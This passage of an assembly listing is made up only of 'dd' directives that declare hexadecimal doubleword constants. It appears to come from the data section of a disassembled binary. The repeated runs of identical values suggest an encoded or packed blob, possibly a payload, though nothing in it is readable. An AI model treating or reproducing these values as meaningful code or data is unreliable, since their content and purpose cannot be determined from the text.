		dd 48CF8BBBh, 0AA35B63Ch, 560C0FF8h, 0E80C1005h, 0E0A67A3Bh
		dd 0E3CDABD2h, 0E3A7D508h, 1CF1C408h, 8E1D186Ch, 0EA421E18h
		dd 7659D79Bh, 7D9949A6h, 87402C15h, 0A4456276h,	0B11FDF24h
		dd 76402C14h, 0BCDA3E22h, 10952C15h, 0E80C8DC6h, 0D62C5A3Bh
		dd 0B2725CADh, 90DD0C28h, 44640CBFh, 61B25A6Ch,	99A574AEh
		dd 94845D93h, 32E012Bh,	6FF1576Dh, 0A8EEB91Ah, 4C782BACh
		dd 0B652CF6Ch, 2AAE41D9h, 63016C9Fh, 196FF044h,	16F936ADh
		dd 59F67AFDh, 9164C0A6h, 0D076F6FEh, 7188D88Fh,	67E103D1h
		dd 0FB95F3F1h, 4BA4D682h, 0BEDC4072h, 0A6C425C2h, 0EE7EC27Bh
		dd 595C8361h, 530A1DD1h, 0CFC9D9A5h, 3F8650C8h,	0F7C2591Ch
		dd 0FE8CFBD3h, 0CF824D3Ch, 8C035361h, 0AF0F2266h, 1617F72Bh
		dd 81CD91DEh, 0B109338Eh, 0B99869Fh, 2328E818h,	0A64B4BB2h
		dd 0C3FBDFE2h, 764ED695h, 0FBA78504h, 489C32AAh, 344D0E22h
		dd 0C230A93Ah, 909835CDh, 48B437CDh, 35A27522h,	60F2712Fh
		dd 0FC5D53A0h, 12E1C9DDh, 8908D8ADh, 0C7184407h, 12FC8D1Dh
		dd 48B2D042h, 18210D97h, 0C7184407h, 12EF6ED5h,	489AEF02h
		dd 7EB41E13h, 74AB4407h, 48A70961h, 513AEE22h, 9D6016C4h
		dd 0E5F28DAEh, 75DE8DAEh, 0BA5BEE22h, 8BEDEC2Fh, 5D40AD3Bh
		dd 0CE3CA33Ch, 489AEFFEh, 0DB50C218h, 91831834h, 2A7412F3h
		dd 0AB68F9Eh, 0FE75C9Bh, 48B322AAh, 9F407B22h, 27CE7FFAh
		dd 2B691BFAh, 0DFA03C36h, 41C814C9h, 0C1A82F68h, 78E4BB33h
		dd 0CDCB13CCh, 489C28F1h, 0E863B522h, 9ECB10FAh, 0A10BEC02h
		dd 31CB1374h, 2F3F00BBh, 0F1493CAAh, 6AD83E2Ch,	0F47EE254h
		dd 1430A24Bh, 8A71322Ah, 0A7500012h, 156BE52Ch,	5C9F66ADh
		dd 65A8C382h, 927A28B4h, 28EB2C2Bh, 284FAA66h, 0D8401065h
		dd 71993E05h, 0D9A7D592h, 0E293C01Dh, 7E33F78Ah, 84F5EA76h
		dd 141DE420h, 0D76D434Fh, 0A2A7D59Ch, 7EC3CEC2h, 0B9015529h
		dd 6AA7DAEBh, 7CFCE3D3h, 0D9A7D879h, 0B0C5838Ch, 7089A9A9h
		dd 99612F47h, 0A49FABDEh, 0B191EF4Ch, 0C0F4D6F1h, 7F88BABBh
		dd 0D46E0329h, 143B364Fh, 0C2BCC27h, 0A84D1EF1h, 0D2635584h
		dd 6F79C9DDh, 63B313C6h, 7BEEEF15h, 0D9A7D6EEh,	0C4C801DAh
		dd 98B3ECBDh, 44316938h, 9EE61A05h, 283BEC34h, 7C7E6568h
		dd 50746425h, 53502C60h, 6ACC0AB0h, 0FC561263h,	9A38A5D5h
		dd 8022F9D7h, 0FAAE5529h, 3038A5D5h, 7FD1C7F8h,	0D5865529h
		dd 0F682DA35h, 0E6A9E413h, 0A78E49F0h, 8 dup(0A97F8C15h)
		dd 367F8C15h, 0A97F8F45h, 0C8F8EB28h, 6190B891h, 0A4251240h
		dd 11DE4286h, 9182B896h, 0DC212D40h, 0D2304294h, 387CD70Fh
		dd 0D0975682h, 0F27F8C15h, 9596DAB0h, 5258B891h, 0A4251240h
		dd 0A7CB9040h, 0EC7F8C15h, 109E35Eh, 3BEE0CABh,	23747C35h
		dd 0DFA395DEh, 0DD14BD02h, 0A81B6F12h, 0DD878C15h, 367F8C15h
		dd 0A97F8D63h, 905DCC8Eh, 537F8C71h, 0A8C3BE36h, 2C696C5Fh
		dd 0C83D7CFBh, 6190B891h, 0A4250B90h, 5CFBCADCh, 26711DDDh
		dd 91832BADh, 0DC525A36h, 26BB7586h, 5D1FF111h,	0A5EE906Dh
		dd 987F8C15h, 0A94C3654h, 0DD878C15h, 287F8C15h, 484EC298h
		dd 0F86D32A3h, 0A97F8F6Dh, 0D25E2E64h, 0F27F8C15h, 0B4EE3A52h
		dd 0AF696C5Fh, 0CED34FB7h, 0A7A047AAh, 4F858C15h, 0CB0C0AECh
		dd 46569F46h, 0BF59C5E1h, 0E890662Bh, 0A97F8C83h, 8225144Dh
		dd 72A16DE4h, 0C7B2340Ah, 2ACFD689h, 45A5847Ah,	0A980BF13h
		dd 0A97F6F12h, 0E8B08C15h, 0F6F4B4D3h, 16BA26h,	0F82192EEh
		dd 3C5E196Ch, 8E7F8C72h, 0CAB19BD3h, 5F200BB4h,	37DF3932h
		dd 1F998994h, 5773EC6Fh, 16788F59h, 0A7B147A9h,	0CAEB8C15h
		dd 0F8A958C0h, 1F6B0B6Ch, 0B50D7276h, 0D30D6490h, 6B5A97F5h
		dd 607402B7h, 0A97F8D31h, 83B03DA0h
		dd 0E09DD464h, 0A9322688h, 145F4015h, 0D09C0FD3h, 57446137h
		dd 544BD059h, 6440132Ch, 0AF1ADB88h, 54F7196Ch,	0BB3AE956h
		dd 1888F4B0h, 0FE9D46C1h, 2D6ABF3Bh, 0CAD40CF7h, 35041C92h
		dd 0A97F8BEDh, 0E1849115h, 0B77F8C15h, 9E00BDB0h, 0A9257A88h
		dd 8EFE5215h, 0F4886428h, 50041E02h, 8B946DD8h,	1A1CABF5h
		dd 0B7DA95B4h, 0BB7172F7h, 4561AD7Ch, 0CAE26053h, 4C786068h
		dd 0CAE263AFh, 9 dup(0CAE263C9h), 898454C9h, 9B7363C9h
		dd 9B347C2Ah, 8F57C700h, 2E540F2h, 0D6A6E13Ah, 535F7247h
		dd 0E5963CBDh, 0A0DDB45Eh, 0CB692799h, 70C4DF4Dh, 670CEA1Eh
		dd 48346FA0h, 670162A9h, 41B92766h, 62B65B6h, 8A1C315Eh
		dd 1FB8CCC5h, 9D93F817h, 7B10C68h, 9F857350h, 0BD051F2Bh
		dd 0A7C6AB76h, 8BF0F6F6h, 616CB1F3h, 0D7B55428h, 3FC46412h
		dd 58E205CFh, 0DDC2413Ah, 2E308B90h, 408676C1h,	0B2F0614Bh
		dd 0FE91EAE5h, 79A39D57h, 0B018FDBh, 0C6525B3h,	4CC7ED36h
		dd 0C25B8396h, 4A1314B8h, 9C6886Ch, 80A08EDAh, 57D4D657h
		dd 0A697F2CBh, 738020AAh, 0F96518C7h, 7B1449D2h, 0C754C7CEh
		dd 0BE8F63C9h, 0D4E5DA70h, 2D3F7620h, 77D4D807h, 38DF572Ch
		dd 0CAE23A25h, 55818C9h, 0F4E6CE26h, 86ADAC1Bh,	7CBFE269h
		dd 0DD38E7B8h, 5D6CF2D2h, 0B84B823Dh, 0DDF930EFh, 0F36D99E6h
		dd 5A9BCBF0h, 6518DE7Dh, 69E11177h, 5681A88Fh, 0DAA51EFFh
		dd 550F32A5h, 0D5E668CAh, 6209F2D2h, 369BA655h,	954FE679h
		dd 0DF70643Bh, 72A272B1h, 4D2157EBh, 9982BFD6h,	6781CF5Bh
		dd 9F39D4F4h, 0AC30F168h, 0FBBAD8E6h, 6AAD6A1Dh, 92A32595h
		dd 0DF1CAC8Ah, 0F01C55B0h, 460B6CAEh, 8A76E5CDh, 0DF68DAEDh
		dd 0B1CF2D2h, 7EE21E1Fh, 138EF727h, 0FFF52A53h,	0E4EC85CDh
		dd 9F12FF4Dh, 0C2C018C7h, 0A7E263AFh, 292A9366h, 1CFB8171h
		dd 0CF5A0AA3h, 25E34F1h, 0CADB6630h, 8892958Ah,	2D0C5ABBh
		dd 0B28F003Eh, 92AECB3Ah, 59E57921h, 2D0C5AB5h,	0D10E5C35h
		dd 3AB65441h, 809248E4h, 0E312FF4Eh, 0A2C022ABh, 0A7E26033h
		dd 362A9366h, 9555498Ah, 51D8F2D2h, 4866F8C0h, 6EC3151Eh
		dd 9783CD26h, 39807E7Dh, 871B330Ah, 343EBB18h, 326FF2CBh
		dd 3CD359D0h, 5609A123h, 0F8108C47h, 0F1D99E8Dh, 3B69B269h
		dd 8D604706h, 0E95CF134h, 1BDF5B82h, 466241B8h,	0B67C57AFh
		dd 0EE9DE53h, 2D891678h, 1FAAAB0Ah, 7B873017h, 0D224C15Fh
		dd 8C65F2D2h, 0D33FB8FCh, 8A0F22ABh, 71E65259h,	0CAE25CB4h
		dd 2DCFB29Ah, 6F1F88A9h, 9762B8FCh, 0A1E23767h,	933EBBC7h
		dd 326FF2D2h, 0F61A9A39h, 4A8FF2D2h, 0F1754667h, 55D0831h
		dd 0ABBDB86Dh, 69D73100h, 57C2B4C1h, 0E05CD7FDh, 0CFA49FE8h
		dd 1EBEC73Bh, 6284B993h, 0EF25D863h, 387D9E3h, 61DEC81Bh
		dd 231D5D3Fh, 3C6E44Dh,	84A4C10Dh, 8B4C7CCDh, 0EF25BB78h
		dd 5BAA6D41h, 8E81F00Fh, 6EB0CBBEh, 0A11EEE79h,	0DEBDDA89h
		dd 838B4295h, 0ED461BC0h, 0FB069422h, 5E2AA6B2h, 7C77AE6Ah
		dd 0FE03C752h, 0A26B6EDAh, 43E304BDh, 0FA19A7A9h, 0BE263A6h
		dd 0C7E3A020h, 0B56173C0h, 50F57943h, 48F71808h, 504CA262h
		dd 0CB92AA4Ah, 67B213A4h, 23093B5Bh, 906B5372h,	0A85FB04h
		dd 3387499Ch, 0D24ECFE0h, 8667BDF8h, 0E8755F89h, 498DA398h
		dd 31C2824h, 0FBDB6478h, 624BC04Bh, 5BA6A30h, 20262189h
		dd 0F7AC2989h, 0D31F7224h, 0F395402h, 0ABDC45E3h, 0D3FD5DC0h
		dd 24781614h, 0E1109142h, 0CAE26355h, 0C1D7B418h, 766B5326h
		dd 218F6EAFh, 0B2223BEDh, 0F191F0CFh, 0E86AB032h, 0AD0C5A0Fh
		dd 83113C74h, 0FBECDC17h, 71AAB967h, 4247FAC9h,	9E9EF8F0h
		dd 0CDA707E6h, 8A1D51C9h, 0C7A058BDh, 3BF2774h,	8CCB8CC9h
		dd 19177CDDh, 40E4E36Ah, 941C9F19h, 857F578Dh, 854FEEF7h
		dd 802E5Dh, 79469442h, 4E3449DCh, 6E20D03h, 0C24CD112h
		dd 69A97C09h, 0BFC11F54h, 7B1C9F18h, 0B39F98E1h, 0F36FFACEh
		dd 4945C5F0h, 2418E73h,	3B3EC24Ah, 32987C0Ah, 0D2831ED0h
		dd 4786B720h, 1433FF24h, 9EE889ECh, 9119A4E9h, 22D7A79Ah
		dd 0D5B67FBh, 4198789Dh, 0A4D497FDh, 7F9C898Ah,	0D0B600A7h
		dd 0DB1DA87h, 0AE26884Fh, 748CD1E2h, 0D830AFE3h, 0E8B0614h
		dd 0EC0028C3h, 0CAFD1C00h, 3C0E5E23h, 0B641E30Bh, 0C3E5A1FEh
		dd 1B3D30C2h, 0F5D8D338h, 75397774h, 0D3FD5F93h, 3D5B97BDh
		dd 0B530E44Dh, 189D6E1Dh, 0A0CDB033h, 0FD105986h, 2244E5D5h
		dd 0F5FBE73Ch, 0FB578506h, 40A3C48Bh, 1109546Ch, 0DE7F3B45h
		dd 0C7347583h, 432244BAh, 903A57E0h, 7CEF62B7h,	0D6D4DE6Ah
		dd 1B99FE2Eh, 0F8F1FA51h, 4406E6BFh, 2333D018h,	85EC8906h
		dd 0B72AAA3Eh, 2171C3D1h, 78667E9Eh, 0CAE25C2Bh, 0B44772D2h
		dd 8F777442h, 9B75716Bh, 0DB9A7262h, 7464D55Bh,	0D091889Eh
		dd 0E63BD17Fh, 6F58B85Eh, 8BF48949h, 3EB0CBBEh,	0CB09C735h
		dd 2EA663C9h, 0E697A8B4h, 0CB182F54h, 32027BC9h, 174563AFh
		dd 5D4CCD55h, 0CB177D08h, 747D63C9h, 0CAE25C12h, 11AEFCE0h
		dd 23CB848Ch, 21CD720Ah, 0C49CDE6Dh, 24931BA1h,	7750CDCCh
		dd 4F103762h, 0B9561509h, 0C08B1311h, 4CCCF9E6h, 0D2A7BE11h
		dd 5DE1DA45h, 1760819Ch, 0CCFA6258h, 8685318Ch,	4ACB848Ch
		dd 800F2DF4h, 0CAE25C12h, 2ED725BEh, 5965D871h,	0A812804Bh
		dd 0E3549E1Fh, 0BF74B975h, 0CB182D72h, 458EBCC9h, 4BE263C9h
		dd 0B0B00DFCh, 7E81DBAAh, 0F1C84041h, 0D04E5E41h, 0CA5C5818h
		dd 0ED3C56Fh, 629D6072h, 0BE13765h, 0C2AD7E4Dh,	83111693h
		dd 36EFDD01h, 0E77E605Ah, 0A1DBE728h, 0FA3615ADh, 1AF454FDh
		dd 2BDDBEB7h, 0B0C14307h, 0CFC4B9ABh, 0B0F1A7E1h, 19A17FA6h
		dd 21158AB9h, 0C9890705h, 62F6F32Bh, 9DFF780Fh,	33781B00h
		dd 66940F74h, 0D59648E7h, 9491D533h, 1B7A0F87h,	66F69FF3h
		dd 3B2EAEE0h, 46C5BFA5h, 0FE3872AEh, 4FDE9AB0h,	0A0B751C0h
		dd 0E85D9A62h, 88F5C1D4h, 4D49A927h, 0F24E92A1h, 0DA7E2918h
		dd 0F1E2D561h, 0CB182DC0h, 0D021C3C9h, 6473D7F8h, 0E31DBD2Bh
		dd 0CB17C632h, 0D20B98C9h, 0D85DB670h, 0D6A2FE9Bh, 4777B6D0h
		dd 5C8DF2D0h, 0D7A6F4FDh, 855E1B86h, 6DEBAFB5h,	0BDE26014h
		dd 367035C8h, 6D5DEA61h, 0CDCE7A77h, 2CE263C9h,	0CAB1CD98h
		dd 6AE263C9h, 0BE2208BCh, 9CF80C4Fh, 0E4F80CEBh, 0B4E263C8h
		dd 0A5B80B4Fh, 96ED5E12h, 4D7B6D43h, 50662EAEh,	0CBF13599h
		dd 6AAFA58Ch, 30662EADh, 0CBE42405h, 45F46337h,	0CAE25CB5h
		dd 855285E9h, 44BDBDC7h, 89AEED26h, 0CAE261FCh,	0EAB6D2DFh
		dd 15629763h, 0BF5B8D18h, 6FCD9C82h, 0F3AFA415h, 0B22DF2AFh
		dd 86EBAFF9h, 1439C773h, 64CF8D87h, 59E90568h, 0A9D1FF44h
		dd 4443B9BBh, 35E68B50h, 0C44DF91h, 7A4E1C18h, 0DCF4BAD3h
		dd 8E5FFB1Fh, 0B1BBD9B5h, 0C266A74Fh, 2C6EAF33h, 1F7C3CA2h
		dd 0DDFD1798h, 884EF40Eh, 967FB9DAh, 0FDA41E6Dh, 1038CD0Eh
		dd 0D09D2E43h, 685036A4h, 0D05E54D3h, 0CB0D9D53h, 3F7EC543h
		dd 686C7143h, 0C4C4F6D3h, 0C2DCC2E9h, 73B14196h, 0EEA066DCh
		dd 0C67130B4h, 6845F4DCh, 0F1682AB3h, 2E185573h, 2E16E15Dh
		dd 6845F4FFh, 8965121Ch, 4EE413Eh, 6F6EDDA9h, 0CF96D5A6h
		dd 6845F443h, 1E2407D3h, 9F45F4EBh, 6F24BE4Ah, 0DE7CF7DDh
		dd 0F8A41EA9h, 0E64406E7h, 8845F4EBh, 0FE6F76E9h, 0A590A059h
		dd 8990A0CCh, 9245F4E7h, 0EB827F5Eh
		dd 5987E3AEh, 62869708h, 3B209CE3h, 0C8A41EDBh,	7A744A76h
		dd 75C532A6h, 73B10ACAh, 0C69630B6h, 6845F4DCh,	56659DB3h
		dd 2E16DD96h, 2E16E15Dh, 68434969h, 0B406C513h,	0F9E3D4BDh
		dd 0FB1CF7E7h, 0DFA42427h, 0B4DC5BF1h, 3083494Bh, 0BBE17CF3h
		dd 0A7EB80E6h, 0E08F3BF9h, 3B12E3F1h, 410D5796h, 0F2AC9E5h
		dd 8539DEE5h, 0F88373FEh, 1E7E06D1h, 0D9760E2h,	82FD1890h
		dd 0DE2D0B82h, 0D47C045Ch, 21C4FA86h, 1443DCEDh, 36EA49D3h
		dd 207CAD13h, 0B78B8CBDh, 0D9C7A0D2h, 0E18EE9C1h, 0C5E0DE2Ah
		dd 0B98E6A4Dh, 0E0F63221h, 9F7CAA8Fh, 0DB3D22FFh, 0C14547F1h
		dd 3146DA1Fh, 0FDC2EDBFh, 0A72A4F1Fh, 46228E30h, 6A2AC5B2h
		dd 0A5843DC6h, 0A12F7B96h, 0A130D3B4h, 107DBB4h, 51EFBA0Fh
		dd 0A146BD35h, 0A82254Eh, 0EA5430C8h, 8FF15131h, 0EAE0BB96h
		dd 9FE6AC31h, 32472F12h, 0EBC142CFh, 988EF431h,	1824D95Ch
		dd 6DCFDD3Bh, 0F37D25C7h, 53AF69AEh, 6974E868h,	8616D632h
		dd 0D4F7B3AAh, 0C254A23Fh, 5A1DBF0Ch, 80AEA8ABh, 269E789Dh
		dd 5B10A835h, 0A2B12701h, 850E735Eh, 8C417F8Dh,	49894C21h
		dd 176ECAC2h, 0FA87CBFDh, 0DA16D5E5h, 0A146CD2Ah, 0BAAF82B4h
		dd 0D046DA1Fh, 0F9A9D1BEh, 62C7A432h, 0B564DBB5h, 0E50BB055h
		dd 55EFEA53h, 0FD524CD3h, 40DAE3E2h, 4C8AF923h,	2D4B3F5Ch
		dd 3B3A761Ch, 4C5E3AC8h, 5300F719h, 0A0EBD1EBh,	0FFCF2F0Dh
		dd 781F15FEh, 6335D7ECh, 56747194h, 4797A26Bh, 0EC5015FBh
		dd 9931AF7Fh, 77D25743h, 781F21EBh, 0A70D14EBh,	0C730CFA8h
		dd 0A520DEF0h, 11A8503Dh, 458DA73Bh, 13C941C5h,	510DFF6h
		dd 0DC1A5361h, 0CF4FBDC5h, 2074D6A8h, 2DDCE395h, 6D8885C7h
		dd 0D33357F1h, 1603332Fh, 7823BEBCh, 0A7D814EBh, 0AAC5FCBFh
		dd 0BFAF1D82h, 0ED0AA01h, 158669DFh, 1B1F14F2h,	76F8A109h
		dd 10666220h, 403CA6E9h, 7856F8D6h, 5A63293Bh, 87025230h
		dd 0B9962836h, 8184704Bh, 0BD49EC22h, 35D6912Eh, 631A9481h
		dd 0FBD9E3C5h, 34433BA6h, 0B4914AD6h, 39EE4242h, 0F0E80780h
		dd 633516E8h, 71EBA3EFh, 12B038F7h, 2234D36Fh, 631A521Ch
		dd 51B14E66h, 631A5204h, 1CD02110h, 51EB9ECBh, 51FE55EFh
		dd 631A51B4h, 93D024B1h, 7A068758h, 12CF3BAFh, 5A5E2956h
		dd 0CC3A5230h, 7FEF8831h, 52A796FCh, 635096D2h,	0E5675230h
		dd 6F232031h, 0ABE0C0Ah, 6B4ECF6Bh, 68111073h, 0C0C83A0h
		dd 0B444641Ah, 12CF3BA6h, 5A5E2956h, 0CC3A5230h, 7FEF8831h
		dd 52A796FCh, 5C1296D2h, 0E5675230h, 94FCF331h,	0EEC6F1A3h
		dd 0F0E7E916h, 142457B5h, 0F9FC6768h, 55443BA6h, 0D8B80ADFh
		dd 0B47BF459h, 5484C71Ah, 0AE8CE48h, 610570B4h,	0C41F630h
		dd 0B5F6E647h, 0A9D4FC2Ah, 0BC0E75D5h, 0D09F9B65h, 0AC50FB5Ch
		dd 36DB3AC4h, 0E2B70F88h, 7CFB02BAh, 387BC53h, 37994230h
		dd 0EAD103E2h, 30B75E6Ah, 0A2268BDDh, 4523536Bh, 9AF4E6FFh
		dd 78F2B5F9h, 11F19F4h,	84EFBF7h, 0AEEE44EAh, 22D7C900h
		dd 63125E2Ch, 6DD815A3h, 0B0EFC6D1h, 56139B90h,	1062329Fh
		dd 7B5CEFEBh, 31E54991h, 186A8A20h, 55714C18h, 9AF81EFBh
		dd 5B4DE524h, 1AB5C077h, 24BA500Dh, 4849457h, 51943A9Ch
		dd 20D64292h, 0DB849468h, 0D934B588h, 797ACB03h, 0C34E7AB3h
		dd 1AFEE436h, 78A868C7h, 1AFF3340h, 68D5DA60h, 49AE498h
		dd 2EDCD467h, 534E74E5h, 20545B04h, 3A6F1333h, 0D03F64E2h
		dd 2BACBBFh, 0BB12C2DCh, 0B6F24997h, 61AE147Ch,	5A050011h
		dd 0CE286BD3h, 83B02A6Eh, 1BEE4992h, 0F86A49ECh, 0E370D89Fh
		dd 482F06EAh, 16B69C91h, 231FC582h, 0F5527F9Fh,	44B5BBCh
		dd 0D19EDF38h, 7CFA5A98h, 0CCF2F30Ah, 0C0F2ECFAh, 7F9EDF6Eh
		dd 6F57101Bh, 0D2BD0C91h, 43A74F5Eh, 77C0FD97h,	1A0B60D3h
		dd 37321E4h, 719EDCF7h,	36AC7F37h, 8F1AC0CAh, 9596EEBAh
		dd 719F19BAh, 3876E437h, 0CCD7BB36h, 1933DB2Dh,	0DA310F4Fh
		dd 0DF6CAAA9h, 0F39EDC84h, 44B5BBCh, 0D19EDF38h, 7CFA5A98h
		dd 0CCF2F30Ah, 16F2ECFAh, 7F9EDF6Dh, 22F2101Bh,	7071F9EFh
		dd 0DDA55B6Ah, 0E25EF511h, 0F1D74681h, 719EDCF2h, 0FB5288F1h
		dd 0F0CCBDF4h, 0A2F8651Ah, 719EDF9Bh, 5DC4DF0Dh, 719EDDB3h
		dd 9CE5B517h, 5805803Ch, 58108679h, 719EDF54h, 0DE817845h
		dd 0ED7CA2A0h, 61A0A1AEh, 3024395Bh, 0AF724682h, 3F995D21h
		dd 0F2B3B0E2h, 3F7321E4h, 719EDC59h, 0FEA07F37h, 94BAC09Dh
		dd 9596EEBAh, 704DAFBAh, 39D4B037h, 6CFE727h, 0DC043069h
		dd 8B2BFC97h, 1A284EE4h, 0FE6C634Fh, 1950192Ch,	1C1068E4h
		dd 0F56CAAEAh, 722894BCh, 806CAAE4h, 0EEA99F2Eh, 4F3F0636h
		dd 0DE4C44BDh, 2B1916BEh, 280D5015h, 0DD1E199Ch, 4EB5CA61h
		dd 12E631C7h, 16DB3716h, 0F1FD2C4h, 9E60A1C3h, 8A3AC1A0h
		dd 247A6990h, 0E180B36Ah, 3A9344F2h, 249F69CCh,	0ADBD6AF0h
		dd 0D9C21DD5h, 3CF3414h, 0C89A8F1Dh, 45D03CE5h,	2EAEBA08h
		dd 540268E0h, 97E8928Fh, 0AC3D3AFCh, 3E60F3CFh,	0A0A05E44h
		dd 0F51DF738h, 91380733h, 6AAB69E4h, 0CA8BEF31h, 0CF9681Ah
		dd 13EA5C13h, 5F245751h, 133D826Eh, 0Bh	dup(133DA751h)
		dd 5C7E8851h, 8932A752h, 3AC0B326h, 13D60047h, 0F3796A73h
		dd 2B31D4EEh, 4ADD44DDh, 0D66F4DCAh, 0DC5A6F1h,	96C94E8Eh
		dd 57649CACh, 824A23E5h, 68A8B171h, 4D010E7Bh, 453F843Dh
		dd 995E0D6Dh, 349AAE2Dh, 0F3F7BAADh, 0F8088AD2h, 6C80E32Bh
		dd 0D9FFB37Eh, 0D74E4E64h, 0D7698C8Eh, 1F0B9078h, 0F3C8B871h
		dd 354473A3h, 4BFDFF40h, 0C87EB2AAh, 6088BB3Eh,	0A7DF0282h
		dd 2F2F3FF8h, 9A65019Dh, 5B74E474h, 6ED7EBC5h, 30AD69D7h
		dd 0F0EE7A3Fh, 0CAF446F4h, 0E4E6155Dh, 0FE55488Fh, 946A005Fh
		dd 6F93B02Bh, 26109899h, 0B3632316h, 10BED503h,	0C67B2877h
		dd 0A4418C93h, 9C785E49h, 25AD528Fh, 0F4DB439Eh, 875F50DDh
		dd 0FAA285BFh, 133D89ABh, 0A4BD212Bh, 5CB206F1h, 0ECFFA3FDh
		dd 0A513F3BBh, 8C5605ADh, 2B29D97Fh, 37D6B26Dh,	2B29D993h
		dd 0A33C118Ch, 2B29D9A7h, 773153FEh, 892C2F61h,	8EC41D9Dh
		dd 0E6D073D7h, 133D89A1h, 5899C955h, 0ED0D61FBh, 97E4F497h
		dd 0BA96AD62h, 0EC538C82h, 0EC8ED4D5h, 2FE8EB4Bh, 80C1A299h
		dd 273FC6FDh, 74FBFBFBh, 3B72B873h, 34E69B81h, 75525AF2h
		dd 93E4C9DBh, 0BAAEEED3h, 1D30EEF4h, 4CA59CF2h,	0DC9EEFE2h
		dd 0C8127CF4h, 0DEC5CE16h, 10DFE93Eh, 4441FCF3h, 28E892h
		dd 96ED37FCh, 7A795A72h, 267B7D29h, 0FC109183h,	0CEBC8279h
		dd 1A36C031h, 13F8AFC1h, 80C2A751h, 0A1DC0A8Ch,	39F718D4h
		dd 0AEA6299Dh, 2865F594h, 0E8CF2847h, 0E4DDBAE7h, 8D85540Ah
		dd 1ADADFC2h, 2FE7473Ch, 0AF35398h, 38B3DD9Ah, 0BEFEFD72h
		dd 1E0B5E88h, 3ABD64E6h, 0B23C2902h, 8B18F62Fh,	96E1B1Fh
		dd 179A3E70h, 133DA769h, 93E52A27h, 0CC14EED3h,	36F8711Ch
		dd 0ED2052C4h, 0E8678F4Ch, 0FE2A3937h, 0FD2B1EDEh, 7123E08Bh
		dd 109B8F0Dh, 56BDBB2Eh, 7049F6BCh, 202EF34Ah, 6B14AFC8h
		dd 7EBC8274h, 80A970B4h, 16BA805Dh, 3FDB53E9h, 7D807F3Ah
		dd 0EEEFA579h, 0F5238C5Eh, 78C9114Fh, 5E17FD7h,	0CA150FE0h
		dd 0ED0AF494h, 5321CF55h, 7F69E828h, 0E5E635FAh, 0B01B4901h
		dd 0D013D5C1h, 0B61CA751h, 4C7E58F9h, 7655B6AAh, 939794F9h
		dd 7F377837h, 0D5098DD1h, 8C85C1CCh
		dd 69DDD8C5h, 0F6B5151Ah, 34BB9A5h, 18B0C40Ah, 0BE648AC6h
		dd 0AB74CB61h, 0CFDAD5Ch, 9C95A2DCh, 0C5354F03h, 0FF95491h
		dd 20BCFC2Ch, 0B397D696h, 9E3A0D9Bh, 0C1E45236h, 0EEAAD1D8h
		dd 0DEEA7781h, 86023A00h, 20035B79h, 769C5BFDh,	86B67D61h
		dd 3EE68E82h, 71381A5Ch, 91A423D3h, 2C731164h, 95AB3EBh
		dd 0B0F42B44h, 0C9696F46h, 6F27FE9Ch, 95960EF6h, 4AEB1AADh
		dd 1674E5B3h, 0FFF9A59Ch, 4EC0AF5h, 0E118C652h,	3DE91383h
		dd 53889959h, 66058EBFh, 1C02B5Ch, 543B86B9h, 0BFE5F2FCh
		dd 40BAB87h, 0D1B7F30Dh, 0EB61DCA1h, 304B2D1Bh,	5192E6B3h
		dd 0A2A36EF4h, 78A1D0B1h, 28407FE1h, 488F1F35h,	0BE6C236Ah
		dd 250432D3h, 302127B4h, 133DA7C4h, 0ACB04740h,	163088AEh
		dd 98D640EAh, 59C6F7Eh,	56D0566Bh, 5E5890A4h, 63E15667h
		dd 39ECFE6Dh, 0C4B745F8h, 85C7E26Ah, 91243C7Ah,	39ED0556h
		dd 3A5B2CCEh, 0D3829EB2h, 39EE08DBh, 0B74E7852h, 1BBF7704h
		dd 0BC0E69CDh, 7F21ABFFh, 7181001Dh, 0C92A8785h, 88383FBEh
		dd 36F40406h, 133D9E7Dh, 8B8002BEh, 3C34BB26h, 0A9AD2B5Ch
		dd 35F79C91h, 5876DD9Dh, 2894D268h, 6437F63Ch, 0DF7ADF85h
		dd 0CB8F1FAEh, 0CA85303h, 3DD55EA5h, 471AC85Ch,	10BA307Ch
		dd 61B09BAFh, 47E73DC8h, 9E384D62h, 0B2CF9B3Dh,	327DE3DDh
		dd 7645A0D7h, 0C4EE75A8h, 9C50F0E3h, 13ED4F1Fh,	0CCAD5522h
		dd 6C124F62h, 20A0288Ah, 52DC7292h, 207687B8h, 892FA36Fh
		dd 4BEC4574h, 99905EDAh, 0EDCD5686h, 11F94D59h,	0C4D22F18h
		dd 0CB3EAC9Fh, 450EC98h, 0D974862Bh, 42E681DFh,	2409410Ah
		dd 2E7FDE97h, 580D16DAh, 0D8885C70h, 23E08B96h,	0F685F164h
		dd 0E4E4E487h, 1B7DA67Fh, 0B65E47EBh, 0E315873Dh, 0B779A413h
		dd 0F984D9BEh, 0AF88F4Ah, 2856BB35h, 8D762437h,	36AA7430h
		dd 5E0B83C1h, 6B8B06Fh,	1559201Eh, 3787A751h, 8FB2C9B6h
		dd 0F6D66340h, 956C1741h, 0B26811D7h, 4D47B6A2h, 613C3A0Ch
		dd 0C3761B44h, 0E2C83654h, 0B1D76F45h, 87405D54h, 123D7B8Ah
		dd 13876F8Eh, 54974F70h, 7C3DA752h, 4D24CF68h, 5D80F789h
		dd 0CB5313CEh, 4A5C8991h, 0E7280089h, 0F140C7E7h, 1D6C0BCFh
		dd 133D82AAh, 73E4A822h, 2E50241Dh, 5A79506Ah, 123DA752h
		dd 5D6C6FD6h, 133FCFCEh, 0E8DA3D51h, 67A5BF61h,	83746E88h
		dd 13DA8078h, 6914A751h, 133D826Ch, 34DC0178h, 0E4ABEBFCh
		dd 26949348h, 133D82A3h, 60E770FCh, 32D16FD7h, 5B7355EFh
		dd 3F28E214h, 0AD5AD384h, 0B01DB6D9h, 4264CAB5h, 8D61298Dh
		dd 19CA2D5Ch, 4320A800h, 2C3D17DDh, 0F4B72DB1h,	0D23EFDF3h
		dd 0F645FF76h, 0DCA42D88h, 72577EB4h, 28743656h, 0C1477AA3h
		dd 63EB7AFAh, 3E6D61B5h, 133DA72Eh, 1546D61Eh, 4 dup(133DA751h)
		dd 0CC7AC51Ah, 99465751h, 0DCEE390Bh, 1064A667h, 0EF4E1A9Ch
		dd 7DDEDFF2h, 0D26C1974h, 985FEDE5h, 0E6835CA5h, 2EEEB2ECh
		dd 47A3E8C3h, 7C8F3292h, 8F0B3692h, 4DA8C941h, 0E862F768h
		dd 0FE329EDh, 6107A257h, 1D418EC7h, 442A1B85h, 388002D2h
		dd 9B957D7Ch, 9369684h,	8114CB3Bh, 51875F1Ch, 161E6119h
